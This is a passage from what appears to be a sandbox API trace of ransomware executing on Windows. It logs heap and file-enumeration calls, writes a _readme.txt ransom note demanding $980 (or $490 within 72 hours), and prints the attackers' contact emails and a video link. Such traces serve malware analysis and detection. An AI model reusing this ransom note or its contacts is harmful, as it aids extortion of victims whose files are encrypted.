$490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", lpUsedDefaultChar=0x0) returned 1117 [0066.573] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3177118 [0066.573] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x329cf20 | out: hHeap=0x5d0000) returned 1 [0066.573] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.573] lstrlenA (lpString="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb") returned 1116 [0066.573] WriteFile (in: hFile=0x5c4, lpBuffer=0x3177118*, nNumberOfBytesToWrite=0x45c, lpNumberOfBytesWritten=0x38cfb64, lpOverlapped=0x0 | out: lpBuffer=0x3177118*, lpNumberOfBytesWritten=0x38cfb64*=0x45c, lpOverlapped=0x0) returned 1 [0066.574] CloseHandle (hObject=0x5c4) returned 1 [0066.574] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.574] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3248800 | out: hHeap=0x5d0000) returned 1 [0066.574] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32b2f40 | out: hHeap=0x5d0000) returned 1 [0066.574] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.574] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.574] FindFirstFileW (in: lpFileName="C:\\Boot\\sv-SE\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xb337cdf0, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb337cdf0, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0066.574] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.574] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xb337cdf0, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb337cdf0, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.574] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0066.574] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb337cdf0, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0xb337cdf0, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb337cdf0, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x45c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0066.574] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb337cdf0, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0xb337cdf0, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb337cdf0, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x45c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0066.574] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0066.574] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.574] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32602f8 | out: hHeap=0x5d0000) returned 1 [0066.574] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x32602f8 [0066.574] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0066.575] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.575] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.575] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.575] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.575] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.575] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.575] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.575] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.575] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.575] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.575] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.575] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.575] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.575] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.575] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.575] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.575] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.575] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.575] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.575] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.575] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.575] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.575] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.575] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.575] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.575] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.575] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x3177118 [0066.575] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.575] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.575] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.575] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.575] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.575] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.575] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.575] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.576] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.576] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.576] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.576] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.576] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.576] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.576] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.576] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.576] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.576] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.576] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.576] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.576] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.576] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.576] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.576] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.576] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.576] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.576] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.576] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.576] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.576] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.576] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.576] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.576] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.576] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.576] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.576] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.576] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.576] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.576] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.576] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.576] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.576] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.577] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.577] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.577] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.577] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.577] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.577] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.577] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.577] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.577] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.577] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.577] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.577] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.577] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.577] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.577] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.577] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.577] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.577] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.577] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.577] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.577] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.577] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.577] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.577] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.577] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.577] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.577] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.577] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.577] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.577] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.577] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.577] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.577] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.577] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x3177118 [0066.577] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.578] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.578] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.578] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.578] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.578] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.578] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.578] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.578] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.578] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.578] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.578] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.578] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.578] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.578] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.578] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.578] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.578] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.578] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.578] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.578] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.578] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.578] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.578] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.578] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.578] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.578] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.578] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.578] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.578] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.578] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.578] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.578] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.578] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.578] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.579] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.579] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.579] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.579] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.579] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.579] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.579] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.579] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.579] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.579] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.579] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.579] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.579] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.579] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.579] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.579] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.579] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.579] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.579] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.579] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.579] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.579] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.579] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.579] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.579] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.579] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.579] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.579] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.579] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.579] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.579] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.579] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.579] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.579] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.579] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.580] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.580] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.580] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.580] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.580] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.580] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.580] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.580] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.580] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.580] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.580] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.580] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.580] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.580] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.580] 